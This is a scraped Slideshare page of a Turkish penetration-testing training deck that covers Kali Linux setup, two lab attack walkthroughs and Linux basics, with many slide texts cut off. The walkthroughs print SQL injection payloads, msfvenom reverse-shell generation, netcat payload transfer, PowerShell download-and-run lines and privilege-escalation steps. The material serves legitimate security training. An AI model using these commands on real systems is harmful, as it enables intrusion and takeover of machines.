Uygulamali Sizma Testi (Pentest) Egitimi Sunumu - 1

Ad

Ad

Ad

Ad

Ad

Ad

Ad

Ad

Ad

Ad

Ad

Ad

blog.btrisk.com @btrisk /btrisktv /btrisk
UYGULAMALI
SIZMA TESTİ
EĞİTİMİ-1

BTRİSK HAKKINDA
TANIŞMA
Pentest & BT Denetimi
ISO27001 Danışmanlık
Hizmetleri
BG Operasyon
Hizmetleri

Göreviniz, Deneyiminiz ve Eğitimden Beklentileriniz
Nelerdir?
TANIŞMA

TEMEL SIZMA TESTİ METODU
Bilgi Toplama
İstismar PAYLOAD'u
Gönderme
Girdi Noktalarının
Tespiti
SHELL Erişimi Sağlama ve Dos...

HACKING'İN ALTIN KURALI
BİR HEDEFE ANCAK
GİRDİ NOKTALARINDAN
SALDIRABİLİRSİNİZ

SALDIRI (GİRDİ) NOKTALARI
• İnsan
• Tesis
• Ağ
• Sistem
• Uygulama (Servis)
Eğitimimizin odağını oluşturacaklar
İstemci ta...

METOD VE
ARAÇLAR
(Uygulamalı
Giriş)

İÇERİK
• Kali Linux Kurulumu
• Sistem-1 (Senaryo)
• Sistem-2 (Senaryo)
• Örnek Senaryolarda Kullanılan Araçlar
• Olası Sor...

ÖNEMLİ UYARI
• Eğitimin bu bölümünde 2 farklı sisteme yönelik
saldırı senaryoları izlenecektir.
• Senaryolar sırasında ilk...

ÖN ADIMLAR
• KALI Linux kurulumu
• Sistem-1 OVF imajının sanallaştırma uygulamasına
import edilmesi ve başlatılması
• Sist...

KALİ LİNUX KURULUMU
• Kali Linux işletim sisteminin kurulumu herhangi bir
Linux işletim sisteminin kurulumundan farksızdır...

KALİ LİNUX KURULUMU
• Kurulum sırasında ana hatları ile aşağıdaki işlemler
gerçekleştirilir:
• (Sanal diskin) partition ta...

KALİ LİNUX KURULUMU
• İşletim sistemlerinin başlatılma süreci ise ana hatları
ile şu şekildedir:
• Bilgisayar BIOS sistemi...

KALİ LİNUX KURULUMU
İşletim sisteminin
kurulumu için Kali'nin ISO
imaj dosyasını seçiyoruz.

KALİ LİNUX KURULUMU
Kolay bir kurulum için
graphical install
seçeneğini seçiyoruz.
Kurulum yapmak
istemeseydik ve sadece
l...

KALİ LİNUX KURULUMU

KALİ LİNUX KURULUMU
Gerçek bir ortamda şifreninin bu
şekilde belirlenmesi önerilmez.
Ancak Kali öntanımlı olarak
herhangi ...

KALİ LİNUX KURULUMU

KALİ LİNUX KURULUMU
Kurulumumuz tek partition (yani
dosya sistemi) barındıracak bir
disk oluşturacak.
Operasyonel işletim ...

KALİ LİNUX KURULUMU

KALİ LİNUX KURULUMU

KALİ LİNUX KURULUMU

KALİ LİNUX KURULUMU

KALİ LİNUX KURULUMU
Bootloader'ın (GRUB) tek diskimiz
olan /dev/sda cihazına yazılması
önemli. Burada hata yaparsak
bootlo...

KALİ LİNUX KURULUMU

KALİ LİNUX KURULUMU
Çözünürlük
Klavye Ayarları

KALİ LİNUX KURULUMU
1
2
3
Host bilgisayarınızla Kali Linux guest bilgisayarınız arasında sürükle bırak
kopyalama yapabilme...

SİSTEM – 1

SİSTEM – 1 (IMAJI IMPORT ETME)
• Sistem-1'i OVF dosyasından sanallaştırma
uygulamanıza import ediniz.

OVF dosyasından sistem imajımızı
import etmek için mevcut bir
sanal makineyi açarmış gibi OVF
dosyasını seçiyoruz.
SİSTEM ...

İmajı import etmek
için Import
düğmesine
basıyoruz.
SİSTEM – 1 (IMAJI IMPORT ETME)

SİSTEM – 1 (IMAJI IMPORT ETME)

SİSTEM – 1 (SENARYO)
Kali bilgisayarımızın IP adresi

SİSTEM – 1 (SENARYO)
# netdiscover -r 192.168.163.0/24
Bizim ortamımızda diğer aktif sunucunun
137 adresli sunucu olduğunu...

SİSTEM – 1 (SENARYO)
# nmap -A 192.168.163.137
Port taramamız sonucunda sunucu
üzerinde bir web sunucusu bulunduğunu
tespi...

SİSTEM – 1 (SENARYO)
Hedef sunucumuz üzerinde öntanımlı
kurulumda bırakılmış gibi görünen bir CMS
uygulaması var.
CMS uygu...

SİSTEM – 1 (SENARYO)
# searchsploit baby gekko

SİSTEM – 1 (SENARYO)
Uygulamanın versiyonunu bulma
çalışmaları.

SİSTEM – 1 (SENARYO)
# nikto -h 192.168.163.137

SİSTEM – 1 (SENARYO)

SİSTEM – 1 (SENARYO)
# dirb http://192.168.163.137

SİSTEM – 1 (SENARYO)
Uygulama versiyonunu bulabilmek için
açıklık barındıran uygulamanın bir
kopyasını indirerek içinde ve...

SİSTEM – 1 (SENARYO)

SİSTEM – 1 (SENARYO)
# grep -r -i "vers" .
-r: Recursive
-i: Ignore case

SİSTEM – 1 (SENARYO)
Admin olmadan versiyonu görmemiz zor
görünüyor.

SİSTEM – 1 (SENARYO)
Stored XSS uygulama
yöneticisinin oturum
parametresini çalmamıza
yarayabilir. Ancak bu saldırı için
s...

SİSTEM – 1 (SENARYO)
Bu versiyonda SQL Injection, Local File Inclusion ve XSS
açıklıkları var. LFI'ı denediğimizde uygulam...

SİSTEM – 1 (SENARYO)
Parola listesi oluşturmak için
kullandığımız araç:
# cewl http://192.168.163.137

SİSTEM – 1 (SENARYO)
cewl ile web sitesinin ilk sayfasında
bulunan kelimelerden bir sözlük dosyası
oluşturduk. Ancak bu sö...

SİSTEM – 1 (SENARYO)
KoreLogic'ten aldığımız kuralı john.conf
konfigürasyon dosyasına aktarıyoruz.

SİSTEM – 1 (SENARYO)
# john --wordlist=passlist.txt --rule=KoreLogicRulesAppendJustNumbers --
stdout > mutated-wordlist.txt

SİSTEM – 1 (SENARYO)
Parola kırma saldırısı için bir
attack proxy kullanacağız.

SİSTEM – 1 (SENARYO)

SİSTEM – 1 (SENARYO) Trafiğimizi attack proxy'den
geçirmek için tarayıcı
ayarımızı düzenliyoruz.

SİSTEM – 1 (SENARYO)
Kaba kuvvet saldırısı
yapacağımız parametreyi
seçiyoruz.

SİSTEM – 1 (SENARYO)
Sözlük dosyası olarak yeni
oluşturduğumuz dosyayı
seçiyoruz.

SİSTEM – 1 (SENARYO)
Yanıtları HTTP Response
Code'a göre tersten
sıraladığımızda kırılan
parolanın "btrisk" olduğunu
göreb...

SİSTEM – 1 (SENARYO)
http://[host]/admin/index.php?app=users&ajax=1&action=search&keyword=1%27
%29%20UNION%20SELECT%201,2,...

SİSTEM – 1 (SENARYO)
http://[host]/admin/index.php?app=users&ajax=1&action=search&keyword=1')
UNION SELECT 1,2,3,4,5,6,7,8...

SİSTEM – 1 (SENARYO)
http://192.168.163.137/admin/index.php?app=users&ajax=1&action=search&keyw
ord=1') UNION SELECT 1,2,3...

SİSTEM – 1 (SENARYO)

SİSTEM – 1 (SENARYO)

SİSTEM – 1 (SENARYO)
http://192.168.163.137/admin/index.php?app=users&ajax=1&action=search&keyw
ord=1') UNION SELECT 1,2,3...

SİSTEM – 1 (SENARYO)
BİR SONRAKİ ADIM
Bize shell açacak bir
payload'u hedef bilgisayar
üzerine atmak ve bu kodu
çalıştırma...

SİSTEM – 1 (SENARYO)
# msfvenom -p php/meterpreter/reverse_tcp
LHOST=192.168.163.138 LPORT=4444 -f raw > payload.txt
msfve...

SİSTEM – 1 (SENARYO)
http://192.168.163.137/cmd.php?cmd=nc -vv -l 1234 > reverse.php
Hedef bilgisayar üzerinde (bir linux
...

SİSTEM – 1 (SENARYO)
# nc -vv 192.168.163.137 1234 < payload.txt
Saldırı bilgisayarımızdan
oluşturduğumu PHP payload'unu h...

SİSTEM – 1 (SENARYO)
# msfconsole
Hedef bilgisayardan gelecek olan
bağlantıyı ele almak üzere msfconsole'u
başlatıyoruz.

SİSTEM – 1 (SENARYO)
use exploit/multi/handler
set PAYLOAD php/meterpreter/reverse_tcp
set LHOST 192.168.163.138
set LPORT...

SİSTEM – 1 (SENARYO)
http://192.168.163.137/reverse.php
Hedef bilgisayar üzerinde netcat ile
aktardığımız payload script'i...

SİSTEM – 1 (SENARYO)
Handler'ımız hedeften gelen bağlantıyı
ele aldı ve meterpreter oturumumuz
başlatıldı.

SİSTEM – 1 (SENARYO)
shell
whoami
uname -a
cat /etc/*-release
Ubuntu 14.04
Kernel 3.13.0-32-generic
Yetki yükseltme adımı ...

SİSTEM – 1 (SENARYO)
Hedef bilgisayarın işletim sistemi kernel
versiyonuna uygun bir Local Privilege
Escalation exploit'u ...

SİSTEM – 1 (SENARYO)
Bulduğumuz kaynaklar içinde bazen
exploit kaynak koduna bazen de
derlenmiş exploit koduna rastlayabil...

SİSTEM – 1 (SENARYO)
Derlenmiş exploit kodunu barındıran
bir github kütüphanesinden 64 bitlik
kernel exploit'umuzu indirel...

SİSTEM – 1 (SENARYO)
exit (shell'den ayrılıyoruz)
[Meterpreter]
upload ./Downloads/ofs_64
shell
[Shell]
cd /tmp
ls -al ofs...

SİSTEM – 1 (SENARYO)
ÖZETLE;
• Port taraması ile tespit ettiğimiz web
uygulamasının açıklık barındıran bir uygulama
olduğu...

SİSTEM – 1 (SENARYO)
ÖZETLE (devamı);
• "msfconsole" uygulamasının
exploit/multi/handler modülü ile reverse
bağlantıyı kar...

SİSTEM – 2

SİSTEM – 2 (SENARYO)
# netdiscover -r 192.168.163.0/24
BU ADIMDAN SONRA
EĞİTMENİNİZİN
SİSTEMİNİZDE BİR İŞLEM
GERÇEKLEŞTİRM...

SİSTEM – 2 (SENARYO)
# nmap -A 192.168.163.140
Nmap'in işletim sistemi
tahmini

SİSTEM – 2 (SENARYO)
Netcat ile TCP 888 portuna
bağlandıktan (TCP handshake
tamamlandıktan) hemen sonra sunucu
bağlantıyı ...

SİSTEM – 2 (SENARYO)
Bilinen portlar incelemesi.

SİSTEM – 2 (SENARYO)
# nmap -sU -sV --top-ports 20
192.168.163.140
UDP port tarama
Nmap SNMP community
string tespiti de y...

SİSTEM – 2 (SENARYO)
Hedef bilgisayarımızın
Windows olduğundan
şüpheleniyoruz, ancak
Netbios taraması herhangi bir
sonuç d...

SİSTEM – 2 (SENARYO)
# snmp-check -c public 192.168.163.140
Netbios taramasından sunucu
adını öğrenemesek de SNMP
sorgular...

SİSTEM – 2 (SENARYO)
Kullanıcı hesaplarını elde
edebildik. Ancak uzaktan
saldırı için şu aşamada bir
işimize yaramıyor.
Ne...

SİSTEM – 2 (SENARYO)
Hedef sunucumuz
92.222.129.112 IP adresli
başka bir sunucuyla TCP 80
portundan iletişim kurmuş
görünü...

SİSTEM – 2 (SENARYO)
# whois 92.222.129.112
Whois sorgusunda
92.222.129.112 IP adresinin
de içinde bulunduğu IP
aralığının...

SİSTEM – 2 (SENARYO)

SİSTEM – 2 (SENARYO)
Çalışan proses'lerden
birisinin adı ALLMediaServer
olarak geçiyor.

SİSTEM – 2 (SENARYO)
Zayıf bir ilişki de olsa TCP 888
portu ile ilgili bir ifade ürünle
ilgili bir sayfada geçiyor.

SİSTEM – 2 (SENARYO)
TCP 888 portunda çalışan
servisin ALLMedia Server ile
ilgili olduğuna dair şüphemiz
güçlendiği için b...

SİSTEM – 2 (SENARYO)
Windows 7 üzerinde çalışan
bir istismar kodu. Bizim
işletim sistemi tahminimizle
de uyumlu.

SİSTEM – 2 (SENARYO)
İstismar kodu içinde
bulunan shell code bir
reverse tcp kodu, ancak
bizim ihtiyacımıza
uygun değil.
Ç...

SİSTEM – 2 (SENARYO)
Reverse TCP
bağlantısının kurulması
için bilgisayarımızın IP
adresini kontrol edelim.

SİSTEM – 2 (SENARYO)
# msfvenom -a x86 --platform Windows -p windows/shell_reverse_tcp
LHOST=192.168.163.138 LPORT=4444 -e...

SİSTEM – 2 (SENARYO)
Bizim oluşturduğumuz
shell code.

SİSTEM – 2 (SENARYO)
Kendi shellcode'umuzu
yerleştirdikten sonra
istismar kodundaki
yerel değişken
isimlerinden dolayı
tar...

SİSTEM – 2 (SENARYO)
ALLMedia Server olduğundan şüphelendiğimiz
servisi exploit etmeye hazırız.
Dönen shell'i karşılamak i...

SİSTEM – 2 (SENARYO)
İstismar kodumuzu çalıştırdığımızda reverse
shell'imizi alıyoruz.
"whoami" komutu ile bağlandığımız k...

SİSTEM – 2 (SENARYO)
whoami /groups komutu ile kullanıcımızın dahil
olduğu grupları listelediğimizde Administrators
grubun...

SİSTEM – 2 (SENARYO)
wmic service get name,displayname,pathname,startmode
Windows bilgisayarlarda yetki yükseltmek için fa...

SİSTEM – 2 (SENARYO)
wmic service get name,displayname,pathname,startmode | findstr /i /v
"windows"
Hedefimizi biraz daha ...

SİSTEM – 2 (SENARYO)
cacls C:btrisk
Kullanıcımızın da içinde
olduğu Administrators
grubunun C:btrisk
dizinine Full erişim
...

Hedef sistem üzerinde
daha rahat işlem
yapabilmek için dosya
aktarabilmemiz lazım.
Windows ortamında
wget benzeri bir
fonk...

SİSTEM – 2 (SENARYO)
Script'imizi yazarken
erişim hakkı problemi
yaşamamak için
C:WindowsTemp
dizinine geçiyoruz.
Script'i...

SİSTEM – 2 (SENARYO)
Servis exe'sini ezmek ve bu exe'yi harekete geçirerek hedef sisteme
System kullanıcı hakları ile bağl...

SİSTEM – 2 (SENARYO)
cscript wget.vbs http://192.168.163.138/service.exe service.exe
wget.vbs script'i ile servis exe'mizi...

SİSTEM – 2 (SENARYO)
Servis tekrar başlatıldığında
System kullanıcı hakları ile
açılacak shell'i beklemek
amacıyla TCP 555...

SİSTEM – 2 (SENARYO)
net stop btrservice
net start btrservice
Btrservice servisimizi tekrar
başlatarak reverse shell
bağla...

SİSTEM – 2 (SENARYO)
YETKİ YÜKSELTME –
PRIVILEGE ESCALATION

SİSTEM – 2 (SENARYO) Yetki Yükseltme
Alternatif Senaryo
• Az önceki örneğimizde hedef bilgisayarımızdaki bir
yetkilendirme...

Bu script'in kodunu GitHub'ın
web sitesinden "raw"
düğmesine sağ klikleyerek kodu
indirebilirsiniz
Hedef sistem üzerinde S...

Windows-exploit-suggester.py script'imize
çalıştırma izni verdikten sonra "--update"
opsiyonuyla çalıştırıyoruz. Bu işlem
...

Küçük bir ayrıntı ancak Python script'imiz bir
XLS dosyayı girdi olarak alacağı için XLRD
python paketinin yüklenmesi gere...

SİSTEM – 2 (SENARYO)
locate nc.exe
Hedef işletim sistemi Windows olduğunda Linux'daki kadar zengin upload ve
download imka...

SİSTEM – 2 (SENARYO)
python -m SimpleHTTPServer 80
NetCat'i yüklemek için basit HTTP
sunucumuzu başlatalım.
Yetki Yükseltm...

SİSTEM – 2 (SENARYO)
powershell -exec bypass -c "(New-Object
System.Net.WebClient).DownloadFile('http://192.168.152.192/
n...

SİSTEM – 2 (SENARYO) Yetki Yükseltme
Alternatif Senaryo

SİSTEM – 2 (SENARYO)
systeminfo > C:WindowsTempsysteminfo.txt
"systeminfo" komutu ile hedef bilgisayar hakkındaki temel bi...

SİSTEM – 2 (SENARYO)
nc -vv -lp 8888 > systeminfo.txt
Bir Linux sistemi olan Sistem-1 senaryosunda NetCat'i hedef sisteme ...

SİSTEM – 2 (SENARYO)
nc -vv -w 10 192.168.152.192 8888 < systeminfo.txt
Hedef Windows sistemi üzerinde çalıştıracağımız bu...

SİSTEM – 2 (SENARYO)
Saldırı sistemimizde gelen dosyayı kaydettik ve Windows'da çalışan NetCat
uygulaması bağlantıyı sonla...

SİSTEM – 2 (SENARYO)
./windows-exploit-suggester.py -i systeminfo.txt -d
2019-01-11-mssb.xls > winexploits.txt
Daha önce i...

SİSTEM – 2 (SENARYO)
Exploit Suggester script'inin çıktılarını inceleyerek potansiyel lokal exploit'leri
araştırıp, bulup ...

SİSTEM – 2 (SENARYO)
Bu adımda pek çok exploit tek tek denenebilir, ancak kararlı bir lokal exploit'i daha
önceden deneyim...

SİSTEM – 2 (SENARYO)
MS14-058 için ekranda görülen linkli RAR
paketini kullanabiliriz.
Yetki Yükseltme
Alternatif Senaryo

SİSTEM – 2 (SENARYO) Yetki Yükseltme
Alternatif Senaryo

SİSTEM – 2 (SENARYO)
Hedef sistemimiz 64 bit'lik bir işletim sistemi
olduğu için Win64.exe dosyasını /root/
dizinine çıkar...

SİSTEM – 2 (SENARYO)
Win64.exe dosyasının içinde bulunduğu
/root/ dizininin içinden basit HTTP
servisimizi başlatalım.
Yet...

SİSTEM – 2 (SENARYO)
powershell -exec bypass -c "(New-Object
System.Net.WebClient).DownloadFile('http://192.168.152.192/
W...

SİSTEM – 2 (SENARYO)
msfvenom -p windows/x64/shell_reverse_tcp
LHOST=192.168.152.192 LPORT=5555 -f exe > shell.exe
Win64.e...

SİSTEM – 2 (SENARYO)
powershell -exec bypass -c "(New-Object
System.Net.WebClient).DownloadFile('http://192.168.152.192/
s...

SİSTEM – 2 (SENARYO)
İki dosyamızın da hedef bilgisayar tarafından çekilip çekilmediğini
basit HTTP sunucumuzu başlattığım...

SİSTEM – 2 (SENARYO)
"SYSTEM" hakları ile bağlantı kurmasını beklediğimiz
payload'umuzu karşılamak üzere TCP 5555 portunda...

SİSTEM – 2 (SENARYO)
Win64.exe shell.exe
Yetki Yükseltme
Alternatif Senaryo

SİSTEM – 2 (SENARYO)
Reverse TCP shell'imizi aldığımızda "whoami" komutu ile kullanıcı
haklarımızı kontrol edebiliriz.
Yet...

SİSTEM – 2 (SENARYO)
ÖZETLE;
• TCP port taramasında bir servis tespit ettik ancak
ne servisi olduğu ve versiyonu ile ilgil...

SİSTEM – 2 (SENARYO)
ÖZETLE (devamı);
• Yetki yükseltme çalışmaları için dosya yükleme
imkanı geliştirdik (wget.vbs ile)
•...

ÖRNEK SENARYOLARDA
KULLANDIĞIMIZ ARAÇLAR
Araçlar Platform Kullanım Amaçları
ifconfig Linux IP adres bilgilerini gösterir.
...

ÖRNEK SENARYOLARDA
KULLANDIĞIMIZ ARAÇLAR
Araçlar Platform Kullanım Amaçları
grep Linux
Linux üzerinde belirli bir kelimeyi...

ÖRNEK SENARYOLARDA
KULLANDIĞIMIZ ARAÇLAR
Araçlar Platform Kullanım Amaçları
meterpreter Kali
Çok aşamalı istismar kodu gön...

ÖRNEK SENARYOLARDA
KULLANDIĞIMIZ ARAÇLAR
Araçlar Platform Kullanım Amaçları
cacls Windows
Windows dosya ve dizin erişim ha...

OLASI SORULAR VE İLGİLİ BÖLÜMLER
Soru Eğitim Bölümü
Kali tam olarak nedir? Kali'ye Giriş
Kali'nin üzerine bir uygulama kur...

OLASI SORULAR VE İLGİLİ BÖLÜMLER
Soru Eğitim Bölümü
Msfvenom ile ürettiğimiz shellcode'lar neden
x ile başlayan bölümlerde...

KALİ'YE
GİRİŞ

İÇERİK
• Kali Linux Nedir?
• Linux Shell Ortamı
• Linux Dosya Sistemi İşlemleri
• Linux Dosya Bulma İşlemleri
• Linux Shel...

KALİ LINUX NEDİR?
• Kali bir (genel amaçlı konularda Debian paketleri baz alınarak
oluşturulmuş) Linux dağıtımıdır, ancak ...

KALİ LINUX NEDİR?
Kali’nin diğer linux dağıtımlarından belli başlı farkları şunlardır:
• Tek kullanıcı ve “root” kullanıcı...

KALİ LINUX NEDİR?
update-rc.d içindeki kara liste

KALİ LINUX NEDİR?
• Kali bir linux dağıtımı olmakla birlikte Linux’u öğrenmek için doğru bir
platform olduğu söylenemez. L...

LINUX SHELL ORTAMI Kullanıcılar logon
olduklarında çalışacak olan
shell uygulaması /etc/passwd
dosyasında belirtilir.
SORU...

LINUX SHELL ORTAMI
Shell değişkenleri ve çevresel
değişkenlerin atanması ve
sorgulanması

LINUX SHELL ORTAMI
# env | more
ÇEVRESEL
DEĞİŞKENLER
$PATH çevresel değişkeni

LINUX SHELL ORTAMI
"echo" komutuyla shell
değişkenleri ve çevresel
değişken gösterme

LINUX SHELL ORTAMI
# nohup komutu ile arka
plandaki işin shell
proses'inden bağımsız
çalıştırılması

LINUX SHELL ORTAMI
Ctrl+Z, fg ve bg komutları ile
işlerin arka plana atılması ve
ön plana alınması

LINUX SHELL ORTAMI
stdout yönlendirme
(redirection)
">"

LINUX SHELL ORTAMI
stdout yönlendirme
(redirection) yapılsa da stderr
konsola yazılmaya devam
ediyor.

LINUX SHELL ORTAMI
Hem stdout'u hem de stderr'u
yönlendirme (redirection)
"&>" veya "2>&1"

LINUX SHELL ORTAMI
stdin yönlendirme
(redirection)
"<"

LINUX SHELL ORTAMI
Ekleme (append etme)
">>"

LINUX SHELL ORTAMI
Pipe ile bir sonraki komutun
stdin'ine veri aktarma
"|"

LINUX SHELL ORTAMI
"tee" komutu ile hem konsola hem
dosyaya veri yazma

LINUX SHELL ORTAMI
Diğer pratik shell komutları:
• sort: Adından da anlaşılacağı üzere almış olduğu girdiyi sıralayarak çı...

LINUX SHELL ORTAMI
Shell History dosyaları kullanıcıların
$HOME dizinlerinde bulunur ve
hassas bilgi içerebilir

LINUX SHELL ORTAMI
EGZERSİZ
• Kali bilgisayarınıza "root" kullanıcısı olarak logon olduğunuzda
shell'inizde tanımlı olan $...

LINUX DOSYA SİSTEMİ İŞLEMLERİ
"ls" komutu ile dizin ve dosyaları
listeleme

LINUX DOSYA SİSTEMİ İŞLEMLERİ
"ls -a" komutu ile normalde
görüntülenmeyen adı "." ile
başlayan dizin ve dosyaları
listeleme

LINUX DOSYA SİSTEMİ İŞLEMLERİ
"pwd" yani Present Working
Directory komutu ile içinde
bulunduğumuz dizinin adını
öğrenme

LINUX DOSYA SİSTEMİ İŞLEMLERİ
"ls -l" komutu ile dizin ve dosyaların
sahiplik, erişim hakları ve
boyutlarını listeleme

LINUX DOSYA SİSTEMİ İŞLEMLERİ
Dosya / dizin erişim haklarının bulunduğu bölümün başında özel erişim bayrağı
(special permi...

LINUX DOSYA SİSTEMİ İŞLEMLERİ
"ln -s" komutu ile sembolik link
oluşturma

LINUX DOSYA SİSTEMİ İŞLEMLERİ
Dosya erişim izinleri 3 farklı grup için verilir:
• Dosya sahibi kullanıcı (u - owner)
• Gru...

LINUX DOSYA SİSTEMİ İŞLEMLERİ
Setuid / setguid hakkına sahip dosyalar güvenlik denetimlerinde özellikle incelenir, çünkü
b...

LINUX DOSYA SİSTEMİ İŞLEMLERİ
"chmod" komutu ile dosya erişim
haklarının düzenlenmesi

LINUX DOSYA SİSTEMİ İŞLEMLERİ
"cd" komutu ile relative dizin
değiştirme

LINUX DOSYA SİSTEMİ İŞLEMLERİ
"cp", "mv", "rename" ve "rm"
komutları

LINUX DOSYA BULMA İŞLEMLERİ
"which" komutu ile $PATH çevresel
değişkenindeki dizin sırasında ilk
bulunan çalıştırılabilir ...

LINUX DOSYA BULMA İŞLEMLERİ
"locate" komutu “which” komutu gibi ne çalıştırılabilir dosyalara özeldir ne de sadece PATH
de...

LINUX DOSYA BULMA İŞLEMLERİ
"find" komutunun "-name"
opsiyonu ile kullanılması ve "/etc"
dizini ve alt dizinlerinde ismi "...

LINUX DOSYA BULMA İŞLEMLERİ
EGZERSİZ
• "/usr" dizini ve onun altındaki dizinlerde "setuid" yani "s" biti
işaretli ve sahib...

LINUX SHELL SCRIPTING
#!/bin/bash
echo "Lütfen taranacak subnet'in ilk 3 octet'ini giriniz ve
[ENTER] tuşuna basınız (ör: ...

LINUX SHELL SCRIPTING
Shell interpreter
Comment
Command Substitution

LINUX SHELL SCRIPTING
EGZERSİZ
• 1-50 arasındaki rakamları konsola yazan bir shell script
geliştiriniz ve çalıştırınız.

LINUX KULLANICI YÖNETİMİ
"/etc/passwd" dosyası

LINUX KULLANICI YÖNETİMİ
"/etc/group" dosyası

LINUX KULLANICI YÖNETİMİ
"/etc/shadow" dosyası

LINUX KULLANICI YÖNETİMİ
# hash-identifier aracı ile parola
hash'inin türünün incelenmesi

LINUX KULLANICI YÖNETİMİ
# adduser komutu ile kullanıcı
ekleme

LINUX KULLANICI YÖNETİMİ
Yeni oluşturulan btriskblog
kullanıcısı ile sisteme giriş ve "su"
komutu ile "root" kullanıcısına...

LINUX KULLANICI YÖNETİMİ
"sudo" yetkisinin verildiği
"/etc/sudoers" dosyası

LINUX KULLANICI YÖNETİMİ
"sudo" yetkisi kullanılarak kullanıcı
ekleme

LINUX KULLANICI YÖNETİMİ
EGZERSİZ
• Kali Linux bilgisayarınızın üzerinde öntanımlı olarak shell logon
olabilecek kaç kulla...

LINUX AĞ TRAFİĞİ İZLEME
"tcpdump"
stdout'a yazdırma

LINUX AĞ TRAFİĞİ İZLEME
"tcpdump"
filtreleme

LINUX AĞ TRAFİĞİ İZLEME
Wirehark
filtreleme

LINUX AĞ TRAFİĞİ İZLEME
Wirehark
TCP Stream

LINUX AĞ TRAFİĞİ İZLEME
EGZERSİZ
• "tcpdump" ile kaydettiğiniz ağ trafik paketlerini "Wireshark" ile
okuyarak inceleyiniz....

KALI LINUX SERVİS YÖNETİMİ
Debian'da "init" dosyası "systemd"
dosyasına linklenmiştir
"init" scriptlerinin yerini "systemd...

KALI LINUX SERVİS YÖNETİMİ
Kali'de servis yönetimi için "systemctl"
komutunu kullanabilirsiniz
Bununla birlikte "init" scr...

KALI LINUX SERVİS YÖNETİMİ
"root" kullanıcısı ile uzaktan "ssh"
bağlantısı kurabilmek için yapılması
gereken konfigürasyon...

KALI LINUX SERVİS YÖNETİMİ
Putty ile uzaktan bağlantı

KALI LINUX SERVİS YÖNETİMİ
systemd service unit'lerine diğer
örnekler

KALI LINUX SERVİS YÖNETİMİ
EGZERSİZ
• Kali Linux bilgisayarınızda "root" kullanıcısının "ssh" logon
yapabilmesi için gerek...

LINUX UYGULAMA KURULUMU
Kali'nin üzerinde gelen uygulama
paketleri kaynak listesi
Kali'nin diğer dağıtımlardan temel
farkl...

LINUX UYGULAMA KURULUMU
apt (Advanced Package Tool) aracının bilgisayar üzerindeki
paket bilgileri cache'ini güncellemek i...

LINUX UYGULAMA KURULUMU
apt paketleri cache dosyası örneği

LINUX UYGULAMA KURULUMU
apt ile uygulama kurmak için
"apt-get install ... "
Komutunu kullanınız
Kali apache2 paketinin
oto...

LINUX UYGULAMA KURULUMU
Sistem üzerinde kurulu paketleri incelemek için
"dpkg -list ... "
"apt" ve diğer paket yönetim ara...

LINUX UYGULAMA KURULUMU
Kaynak kod'dan uygulama kurulumu
Kali üzerinde C kodlarının derlenmesi
için gerekli olan "build-es...

LINUX UYGULAMA KURULUMU
Kaynak kod'dan uygulama kurulumu
"configure" komutu ile C makefile'ı
oluşturulur

LINUX UYGULAMA KURULUMU
Kaynak kod'dan uygulama kurulumu
"make" komutu ile C uygulaması
derlenir

LINUX UYGULAMA KURULUMU
Kaynak kod'dan uygulama kurulumu
"make install" komutu ile derlenmiş
uygulama nesne dosyaları Linu...

LINUX UYGULAMA KURULUMU
EGZERSİZ
• Kali'nin resource'ları arasında bulunan ve parola kırma amacıyla
kullanılabilecek uygul...

EDİTÖRLER VE DOSYA İZLEME ARAÇLARI
"cat" komutu
Adı "concatenate" kelimesinden gelir,
dosyaları birleştirmek için pratik b...

EDİTÖRLER VE DOSYA İZLEME ARAÇLARI
"vi" komutu
Çok sayıda tuş komutunu ezberlemeniz gerekir
ESC + "i" karakteri ile "input...

EDİTÖRLER VE DOSYA İZLEME ARAÇLARI
"nano" editörü
Linux'la yeni tanışanlar için daha "vi"a
nazaran daha iyi bir alternatif...

EDİTÖRLER VE DOSYA İZLEME ARAÇLARI
"head" komutu

EDİTÖRLER VE DOSYA İZLEME ARAÇLARI
"tail" komutu
"-f" opsiyonu ile sürekli güncelleme yapar, bu nedenle
özellikle log dosy...

Uygulamali Sizma Testi (Pentest) Egitimi Sunumu - 1

Share Slideshare

LinkedIn
Facebook
Twitter

Embed

Size (px)

Show related Slideshows at end

WordPress Shortcode

Link

Share
Email

2024 Trend Updates: What Really Wor... by Search Engine Jou... 1011447 views
Storytelling For The Web: Integrate... by Chiara Aliotta 919244 views
Artificial Intelligence, Data and C... by OECD Directorate ... 820562 views
How to Leverage AI to Boost Employe... by SocialHRCamp 342424 views
2024 State of Marketing Report – by... by Marius Sescu 195380 views
Everything You Need To Know About C... by Expeed Software 218594 views

View on Slideshare

1 of 223 Ad

View on Slideshare

1 of 223 Ad